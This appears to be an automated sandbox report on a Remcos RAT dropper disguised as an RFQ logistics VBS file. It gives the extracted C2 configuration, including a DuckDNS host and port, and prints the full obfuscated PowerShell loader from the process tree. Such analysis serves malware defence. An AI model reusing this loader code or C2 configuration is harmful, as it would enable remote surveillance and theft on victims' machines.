Analysis
- max time kernel
149s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/07/2026, 03:45
General
- Target RFQGoodsLogisticsLandedCost20260710Returnurge.vbs
- Size 22KB
- Sample260710-ebezdacx6l
- SHA256 3563a0dd216236d5f6f8bc871afe1f98f5bff78afe2d95f80276906dcdf278e2
Malware Config
Extracted
-
remcos
-
7.2.6 Pro
-
taskhosfw
-
anubixfreedom001.duckdns.org:56793
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-LUL31I
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication 6 IoCs
Network activity triggered a Suricata alert
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication 8 IoCs
Network activity triggered a Suricata alert
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQGoodsLogisticsLandedCost20260710Returnurge.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'isomerically' 'haarbrstens' 'aftercooler65';$fusula=56767-56767;$demaskeringer=10972-4972;function prgnantestes ($autoopretningers140,$mandrels) {$retsloes=discipline(@(103,201,214,231,220,212,212,181,205,213,225,214,211,203,168,218,212,164,161,149,145,165,224,208,229,149,137,209,164,214,197,229,210,209,215,108)) ;Perigastrular ($retsloes)}function discipline ($ratiocinations201) { do {$demaskeringer=$collarman[$fusula%7];$ratiocinations201[$fusula]-=$demaskeringer;$demaskeringer=[char]$ratiocinations201[$fusula];$jt+=$demaskeringer;$fusula++} while ($ratiocinations201[$fusula])$jt}function Perigastrular ($lykka) {&($analyze62) $lykka}Function Ips ($ratiocinations201,$strung=0){$sulphocarbolate=discipline(@(158,171,208,225,227,202,214,183,197,155,173,179,215,211,176,170,194,230,210,155,152,150,220,211,220,219,204,140,103,218,194,231,214,212,199,172,214,194,231,214,212,210,182,154,145,164,150));$laboulbeniaceous=@(Perigastrular ($sulphocarbolate));For($amarin=0; $laboulbeniaceous[$amarin] -ne $juris; $amarin++){$laboulbeniaceous[$amarin] = prgnantestes $laboulbeniaceous[$amarin] $collarman[$amarin%7]}$citronpresser=discipline(@(112,210,208,220,219,133,191,166,208,194,229,200,194,193,103,212,194,213,220,218,208,165,205,207,220,206,200,201,178,221,212));$punners=Perigastrular ($citronpresser);if ($strung) { Perigastrular $punners}else {;$punners}}$collarman=@(67,104,97,115,109,101,100);$analyze62=discipline @(140,173,185);$jestenes='\Sekretariatsmedarbejder.Rep';$spiralled=Ips 'dkZRU0UyDS0MDgQeRSoXSFBDQ1VfYz8IHVtRX2MQV0dWRRY1UlBGX0tUakgmFg4OC2xaUUJdVVVzWUE1BBcBJQcZXFxQVm1Y';$phascolomyidae=Ips 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IF1BUE3UtED0HLFUIHBdEPlcRMz1TRwgHCwkABgIcXAs1RVI=';$katalyzing=Ips 'DhsZHgFXShANEwUIFzwOJCknOTVKdUZR';$vistes=Ips 'BC01';$amarincebound=Ips 'FhsEAUAkAyYGFQ==';$endopleura=Ips 'fQ==';Ips 'Zw8NHA8ECHkODRwbABc3DRJOSQAKNVIAAx0BBTcJSlcHABc3DQ8WHg==' 1;Ips 'Zw8NHA8ECHkHBBtQQRQrCRIQAgkLLhEIFwwASjAYDRoZTUAmBgUcHQkBNhoAWg==' 1;$phascolomyidae=$oeh[0];Ips 'Zw8NHA8ECHkJExwABBAqGwQBBAsDJhoSTiMAE24nAxkIBhBjRSIcAEVAKAkVEgEcHioGBg==' 1;Ips 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA==' 1;while (!$rap) {Ips 'Zw8NHA8ECHk8BB8BEBYmBlxXGRcRJg==' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdAhUBLUBFBQQWECYbTVNJFQwiGwIcAQoJOgEFEghJRGcOAB8eAE0=' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdHgAQEQ0QBggWEAsNABcIF0xnCQwSHwwKIA0DHBgLAG9IRQAdDBYiBA0WCUw=' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdHgAKJ0BI' 1;Ips 'Zw8NHA8ECHkPDhcGAAonDQ0ACBYJOgYFGgoNAScNEwBQQQUxBwwSGQwXJhoIHQoAFjBGEgcMEREwSEwWHEVWc1g=' 1;if ($godkendelsesmyndigheders) {Ips 'GAoYBwg+OR5MBh8CBwUvUgIcCAERIAkVGgILBS9VRRIfCgkiHAgACBcNLQ8EAR5LFiYbERwDFgEBBwUK' 1;Ips 'MAtBVwsJCzUNEgcIFkRnCw4WCRAHIhwIHAMECGNFJB0OCgAqBgZTLxwQJg==' 1} Ips 'EAQEFh1NUGo=' 1;Ips 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA==' 1 ;Ips 'Zw8NHA8ECHkbDRQICQ0kGxUWUEEDLwcDEgFfFDEHFRoJTk9mTA4WBUsHLB0PBw==' 1;$phascolomyidae=$oeh[$slgeligste]}$parthenogenitive=142361;$mislodged=19220;Ips 'Zw8NHA8ECHkaDgUFEAMwHAQBAwBZJAtBVwsJCzUNEgcIFg==' 1;Ips 'Zw8NHA8ECHk7FRIDAQUxDAQBXF1QfjMiHAMTATEcPElXIxYsBSMSHgBSdzsVAQQLA2tMExwbDREkGxUWHwsBag==' 1;Ips 'Zw8NHA8ECHkdDxcEEwsxCwQXAwAXMFU6JwgdEG0tDxACAQ0tDzxJVyQ3ACEoXSoAEBAcExoDAkxnOxUSAwEFMQwEAVxdUGo=' 1;Ips 'Zw8NHA8ECHkFCAAKFws0G1xXGAsAKh4OAQ4AAC0NEgBDFhEhGxUBBAsDa0wREh8RDCYGDhQICw03ARcWQUEJKhsNHAkCASdB' 1;Perigastrular $misgrows;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'isomerically' 'haarbrstens' 'aftercooler65';$fusula=56767-56767;$demaskeringer=10972-4972;function prgnantestes ($autoopretningers140,$mandrels) {$retsloes=discipline(@(103,201,214,231,220,212,212,181,205,213,225,214,211,203,168,218,212,164,161,149,145,165,224,208,229,149,137,209,164,214,197,229,210,209,215,108)) ;Perigastrular ($retsloes)}function discipline ($ratiocinations201) { do {$demaskeringer=$collarman[$fusula%7];$ratiocinations201[$fusula]-=$demaskeringer;$demaskeringer=[char]$ratiocinations201[$fusula];$jt+=$demaskeringer;$fusula++} while ($ratiocinations201[$fusula])$jt}function Perigastrular ($lykka) {&($analyze62) $lykka}Function Ips ($ratiocinations201,$strung=0){$sulphocarbolate=discipline(@(158,171,208,225,227,202,214,183,197,155,173,179,215,211,176,170,194,230,210,155,152,150,220,211,220,219,204,140,103,218,194,231,214,212,199,172,214,194,231,214,212,210,182,154,145,164,150));$laboulbeniaceous=@(Perigastrular ($sulphocarbolate));For($amarin=0; $laboulbeniaceous[$amarin] -ne $juris; $amarin++){$laboulbeniaceous[$amarin] = prgnantestes $laboulbeniaceous[$amarin] $collarman[$amarin%7]}$citronpresser=discipline(@(112,210,208,220,219,133,191,166,208,194,229,200,194,193,103,212,194,213,220,218,208,165,205,207,220,206,200,201,178,221,212));$punners=Perigastrular ($citronpresser);if ($strung) { Perigastrular $punners}else {;$punners}}$collarman=@(67,104,97,115,109,101,100);$analyze62=discipline @(140,173,185);$jestenes='\Sekretariatsmedarbejder.Rep';$spiralled=Ips 'dkZRU0UyDS0MDgQeRSoXSFBDQ1VfYz8IHVtRX2MQV0dWRRY1UlBGX0tUakgmFg4OC2xaUUJdVVVzWUE1BBcBJQcZXFxQVm1Y';$phascolomyidae=Ips 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IF1BUE3UtED0HLFUIHBdEPlcRMz1TRwgHCwkABgIcXAs1RVI=';$katalyzing=Ips 'DhsZHgFXShANEwUIFzwOJCknOTVKdUZR';$vistes=Ips 'BC01';$amarincebound=Ips 'FhsEAUAkAyYGFQ==';$endopleura=Ips 'fQ==';Ips 'Zw8NHA8ECHkODRwbABc3DRJOSQAKNVIAAx0BBTcJSlcHABc3DQ8WHg==' 1;Ips 'Zw8NHA8ECHkHBBtQQRQrCRIQAgkLLhEIFwwASjAYDRoZTUAmBgUcHQkBNhoAWg==' 1;$phascolomyidae=$oeh[0];Ips 'Zw8NHA8ECHkJExwABBAqGwQBBAsDJhoSTiMAE24nAxkIBhBjRSIcAEVAKAkVEgEcHioGBg==' 1;Ips 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA==' 1;while (!$rap) {Ips 'Zw8NHA8ECHk8BB8BEBYmBlxXGRcRJg==' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdAhUBLUBFBQQWECYbTVNJFQwiGwIcAQoJOgEFEghJRGcOAB8eAE0=' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdHgAQEQ0QBggWEAsNABcIF0xnCQwSHwwKIA0DHBgLAG9IRQAdDBYiBA0WCUw=' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdHgAKJ0BI' 1;Ips 'Zw8NHA8ECHkPDhcGAAonDQ0ACBYJOgYFGgoNAScNEwBQQQUxBwwSGQwXJhoIHQoAFjBGEgcMEREwSEwWHEVWc1g=' 1;if ($godkendelsesmyndigheders) {Ips 'GAoYBwg+OR5MBh8CBwUvUgIcCAERIAkVGgILBS9VRRIfCgkiHAgACBcNLQ8EAR5LFiYbERwDFgEBBwUK' 1;Ips 'MAtBVwsJCzUNEgcIFkRnCw4WCRAHIhwIHAMECGNFJB0OCgAqBgZTLxwQJg==' 1} Ips 'EAQEFh1NUGo=' 1;Ips 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA==' 1 ;Ips 'Zw8NHA8ECHkbDRQICQ0kGxUWUEEDLwcDEgFfFDEHFRoJTk9mTA4WBUsHLB0PBw==' 1;$phascolomyidae=$oeh[$slgeligste]}$parthenogenitive=142361;$mislodged=19220;Ips 'Zw8NHA8ECHkaDgUFEAMwHAQBAwBZJAtBVwsJCzUNEgcIFg==' 1;Ips 'Zw8NHA8ECHk7FRIDAQUxDAQBXF1QfjMiHAMTATEcPElXIxYsBSMSHgBSdzsVAQQLA2tMExwbDREkGxUWHwsBag==' 1;Ips 'Zw8NHA8ECHkdDxcEEwsxCwQXAwAXMFU6JwgdEG0tDxACAQ0tDzxJVyQ3ACEoXSoAEBAcExoDAkxnOxUSAwEFMQwEAVxdUGo=' 1;Ips 'Zw8NHA8ECHkFCAAKFws0G1xXGAsAKh4OAQ4AAC0NEgBDFhEhGxUBBAsDa0wREh8RDCYGDhQICw03ARcWQUEJKhsNHAkCASdB' 1;Perigastrular $misgrows;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Sekretariatsmedarbejder.Rep
memory/4084-57-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/4084-55-0x000000001E6A0000-0x000000001E797000-memory.dmp
memory/4084-56-0x000000001E6A0000-0x000000001E797000-memory.dmp
memory/4084-65-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/4084-53-0x000000001E6A0000-0x000000001E797000-memory.dmp
memory/4084-47-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/4084-58-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/4084-59-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/4084-60-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/4084-64-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/4212-10-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-0-0x00007FFDE8B7F000-0x00007FFDE8B80000-memory.dmp
memory/4212-17-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-19-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-20-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-24-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-15-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-14-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-13-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-16-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-12-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-11-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-9-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-8-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-7-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-6-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-5-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/4212-4-0x0000019FE1730000-0x0000019FE1752000-memory.dmp
memory/4212-1-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp
memory/5592-28-0x0000000004EC0000-0x0000000004F26000-memory.dmp
memory/5592-41-0x0000000007E60000-0x000000000841A000-memory.dmp
memory/5592-40-0x0000000006FD0000-0x0000000006FF2000-memory.dmp
memory/5592-43-0x0000000008420000-0x000000000C69F000-memory.dmp
memory/5592-39-0x0000000007060000-0x00000000070F6000-memory.dmp
memory/5592-38-0x0000000006150000-0x000000000616A000-memory.dmp
memory/5592-37-0x0000000007220000-0x000000000789C000-memory.dmp
memory/5592-35-0x0000000005C30000-0x0000000005C7C000-memory.dmp
memory/5592-34-0x0000000005BE0000-0x0000000005BFE000-memory.dmp
memory/5592-32-0x0000000005790000-0x0000000005AEB000-memory.dmp
memory/5592-29-0x0000000004F30000-0x0000000004F96000-memory.dmp
memory/5592-27-0x0000000004E20000-0x0000000004E42000-memory.dmp
memory/5592-26-0x0000000005140000-0x000000000578A000-memory.dmp
memory/5592-25-0x00000000023E0000-0x0000000002416000-memory.dmp